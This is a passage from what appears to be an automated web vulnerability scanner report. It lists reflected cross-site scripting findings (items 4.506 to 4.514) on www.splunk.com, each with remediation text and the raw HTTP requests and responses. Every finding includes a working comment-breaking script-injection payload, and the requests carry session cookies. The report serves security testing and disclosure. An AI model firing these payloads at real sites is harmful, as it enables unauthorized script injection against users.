__kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:08 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:08 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:08 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>872651a0663/SP-CAAAAH7 -->
...[SNIP]...

4.506. http://www.splunk.com/view/SP-CAAAAH7 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAH7

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload f468c--><script>alert(1)</script>f6bc10e4ece was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAAH7f468c--><script>alert(1)</script>f6bc10e4ece HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:36 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:36 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f6bc10e4ece -->
...[SNIP]...

4.507. http://www.splunk.com/view/SP-CAAAAH7 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAH7

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 71f46--><script>alert(1)</script>f41aad1bdad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAAH7?71f46--><script>alert(1)</script>f41aad1bdad=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:17 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28354

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f41aad1bdad=1 -->
...[SNIP]...

4.508. http://www.splunk.com/view/SP-CAAAFVN [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAFVN

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 5fc15--><script>alert(1)</script>3127cb5f6e4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view5fc15--><script>alert(1)</script>3127cb5f6e4/SP-CAAAFVN HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:18 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 04eef258084ce5cbd78231d4af91d6ed1297008198
Last-Modified: Sun, 06 Feb 2011 16:03:18 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3127cb5f6e4/SP-CAAAFVN -->
...[SNIP]...

4.509. http://www.splunk.com/view/SP-CAAAFVN [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAFVN

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 4c29e--><script>alert(1)</script>2184c2ad3e7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAFVN4c29e--><script>alert(1)</script>2184c2ad3e7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:42 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: e4169140df5ae01ba7c7214b1be920fa1297008222
Last-Modified: Sun, 06 Feb 2011 16:03:42 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2184c2ad3e7 -->
...[SNIP]...

4.510. http://www.splunk.com/view/SP-CAAAFVN [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAFVN

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b3aa7--><script>alert(1)</script>5f91d4c2cc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAFVN?b3aa7--><script>alert(1)</script>5f91d4c2cc1=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:02:54 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 55246895ba1ccb4925502c124dd90acd1297008174
Last-Modified: Sun, 06 Feb 2011 16:02:54 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5f91d4c2cc1=1 -->
...[SNIP]...

4.511. http://www.splunk.com/view/about-us/SP-CAAAAH8 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/about-us/SP-CAAAAH8

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c2db0--><script>alert(1)</script>5fa0ec96c9f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewc2db0--><script>alert(1)</script>5fa0ec96c9f/about-us/SP-CAAAAH8 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:14 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:14 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:14 GMT; path=/
ETag: 253c2d09a4647113aa3e17c02474d0491296944294
Last-Modified: Sat, 05 Feb 2011 22:18:14 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5fa0ec96c9f/about-us/SP-CAAAAH8 -->
...[SNIP]...

4.512. http://www.splunk.com/view/about-us/SP-CAAAAH8 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/about-us/SP-CAAAAH8

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 9a0d4--><script>alert(1)</script>fe1ada0d8d7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/about-us9a0d4--><script>alert(1)</script>fe1ada0d8d7/SP-CAAAAH8 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:47 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:47 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>fe1ada0d8d7/SP-CAAAAH8 -->
...[SNIP]...

4.513. http://www.splunk.com/view/about-us/SP-CAAAAH8 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/about-us/SP-CAAAAH8

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload e5119--><script>alert(1)</script>8a69136f1cc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/about-us/SP-CAAAAH8e5119--><script>alert(1)</script>8a69136f1cc HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:19 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:19 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:19 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8a69136f1cc -->
...[SNIP]...

4.514. http://www.splunk.com/view/about-us/SP-CAAAAH8 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/about-us/SP-CAAAAH8

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ed8ae--><script>alert(1)</script>025e905c8f5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/about-us/SP-CAAAAH8?ed8ae--><script>alert(1)</script>025e905c8f5=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:15 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 54966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>025e905c8f5=1 -->
...[SNIP]...

